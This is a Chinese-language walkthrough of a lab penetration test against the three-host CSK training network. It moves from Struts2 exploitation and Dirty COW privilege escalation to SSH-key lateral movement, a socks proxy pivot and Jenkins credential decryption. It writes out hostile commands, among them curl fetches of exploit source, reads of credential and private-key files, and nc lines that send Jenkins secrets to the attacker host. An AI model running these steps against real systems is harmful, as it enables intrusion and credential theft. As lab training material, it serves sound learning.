文章前言
本篇文章主要以CSK靶机为例来介绍Linux环境下的外网渗透与内网渗透实例,当然本篇文章仅以当前实例为例,在实战中需结合具体的环境进行渗透
靶机下载
https://secplanet.sfo2.cdn.digitaloceanspaces.com/THP-csk-lab.zip
环境搭建
在开始菜单,依次点击编辑 ->虚拟网络编辑器-> 更改设置,之后选择需要设置NAT类型的界面,修改子网IP为172.16.250.0 ,并点击应用
之后用VMware Workstations打开三台虚拟主机(hacker/changeme):
环境说明
实验环境总计三台Linux主机,相关信息如下:
- 172.16.250.10:WEB服务对外开放,可以直接访问
- 172.16.250.30:WEB应用只允许当前内网环境的主机访问
- 172.16.250.50:数据库服务器,不出网,用于实现站库分离设计模式
网络拓扑
实验环境的网络拓扑结构如下所示:
实验目的
通过渗透测试的方法获取到边界WEB服务器、内网WEB服务器、内网数据库服务器的root权限
攻防演练
边界服务器
信息收集
执行以下命令进行端口扫描,可以看到172.16.250.10开放22、80、8009、8080端口(备注:172.16.250.128为攻击主机)
nmap 172.16.250.0/24
执行以下命令对目标主机的系统进行探测,发现目标主机系统为Linux
nmap -O 172.16.250.0/24
服务梳理
从上面的端口扫描和系统识别中可以了解到当前网络环境中除攻击主机外还存在着另外的两台主机,且只有172.16.250.10这一台服务器对外开放web服务,这也意味着只有通过这一台设备我们才可以转到其他两个服务器,下面进行简单的服务梳理:
主机:172.16.250.10
服务:80端口OpenCMS10.5与Struct2服务
主机:172.16.250.10
服务:8080端口Tomcat
主机:172.16.250.10
服务:8009端口Tomcat AJP服务
GetShell
这里我们选用Struts2的漏洞对172.16.250.10主机实施攻击测试以获取其shell权限,这里我们在MSF中进行检测可用载荷
search struts2
这里我们选用exploit/multi/http/struts2_content_type_ognl载荷,之后设置对应的参数:
权限提升
为了便于操作我们这里更改交互式shell为pty类型:
python3 -c "import pty;pty.spawn('/bin/bash')"
从上面可以看到这里并非root用户,所以我们下一步需要进行一次权限提升,之后查看内核版本——4.4.0-21-generic
uname -a
之后使用脏牛提权:
curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c > test.c
gcc -Wall -o test test.c -ldl -lpthread
之后上传编译好的文件到目标主机:
之后执行载荷,进行权限提升:
之后保持利用稳定:
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
WEB信息
之后我们进入到后渗透测试阶段的信息收集部分,可以看到当前主机只有一个IP地址并无内网:
随后翻阅Web文件,并在/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties里面发现数据库配置信息:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
从这里我我们可以了解到当前站点采用"站库分离"模式,相关信息如下:
# WEB站点
IP地址:172.16.250.10
端口号:80# 数据库
IP地址:172.16.250.50
端口号:3306
账号密码:store/WTWOIUEfjSLeij
历史命令
之后执行以下命令来查看当前主机上执行的历史命令,发现有通过SSH链接172.16.250.30主机
cat ~/.bash_history
之后查看SSH私钥:
cat ~/.ssh/id_rsa
内网服务器
SSH横向
之后复制SSH密钥到本地:
之后赋予权限
下载到本地:
之后通过SSH私钥进行横向移动:
ssh -i id_rsa root@172.16.250.30
备注:如果你出现以下情况则更改权限即可
之后对目标系统进行信息收集,在home文件夹下发现一个Jenkins用户:
之后查看本地端口服务:
之后在攻击主机上访问Web服务,发现无法访问:
代理转发
Step 1:执行以下命令添加路由
#添加路由
route add 172.16.250.0 255.255.255.0 8
#删除路由
run remove 172.16.250.0 255.255.255.0 8
Step 2:配置socks5
use auxiliary/server/socks_proxy
set version 5
run
Step 3:配置proxychains
leafpad /etc/proxychains4.conf
之后将dynamic_chain前面的#去掉,然后加上socks的服务器的ip与端口:
socks5 172.16.250.10 1080
Step 4:使用proxychain访问网络
proxychains firefox
密码破解
Jenkins应用程序内的凭证管理器内部,db_backup用户密码已存储,但不可见,我们需要弄清楚如何从Jenkins中获取此凭据,以便我们可以继续横向移动
在这里我们可以选择"Update"来更新密码:
之后将password置空即可获得密码:
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=
访问/jenkins/script/console目录,使用以下命令获取明文,发现失败:
println(hudson.util.Secret.fromString("{密码}").getPlainText())
之后转到Jenkins 的主目录并获取三个文件:credentials.xml,master.key和hudson.util.Secret
println("cat /home/jenkins/secrets/master.key".execute().text)
println("cat /home/jenkins/secrets/hudson.util.Secret".execute().text)
可以看到出现了报错,那么既然这样,就直接从172.16.250.30主机上下载文件算了,首先SSH登录到目标主机,之后执行以下命令通过NC将文件传送到本地:
root@jenkins:/home/jenkins/secrets# nc 172.16.250.128 1234 < hudson.util.Secret
root@jenkins:/home/jenkins/secrets# nc 172.16.250.128 1234 < master.key
root@jenkins:/home/jenkins# nc 172.16.250.128 1234 < credentials.xml
之后下载解密脚本
git clone https://github.com/cheetz/jenkins-decrypt.git
进行解密:
python3 decrypt.py master.key hudson.util.Secret credentials.xml
成功解密db_backup用户的密码:
)uDvra{4UL^;r?*h
数据库服务器
回顾之前的注释,我们会在OpenCMS属性文件中看到数据库服务器位于172.16.250.50,看起来这个Jenkins服务器出于某种原因会对数据库服务器执行某种备份,下面我们检查一下是否可以获取db_backup的凭据,这里利用)uDvra{4UL^;r?*h通过SSH登录数据库服务器
proxhchains ssh db_backup@172.16.250.50
同时可以发现该用户属于sudo组,所以可以使用sudo su命令进行提权:
至此成功获取到WEB服务器(172.16.250.10)的权限、内网主机172.16.250.30的权限、内网数据库服务器172.16.250.50的权限~
文末小结
本篇文章主要介绍了Linux环境下的内网渗透实例,当然这里只是一个实例而已,在实战中需要结合具体的场景进行渗透测试~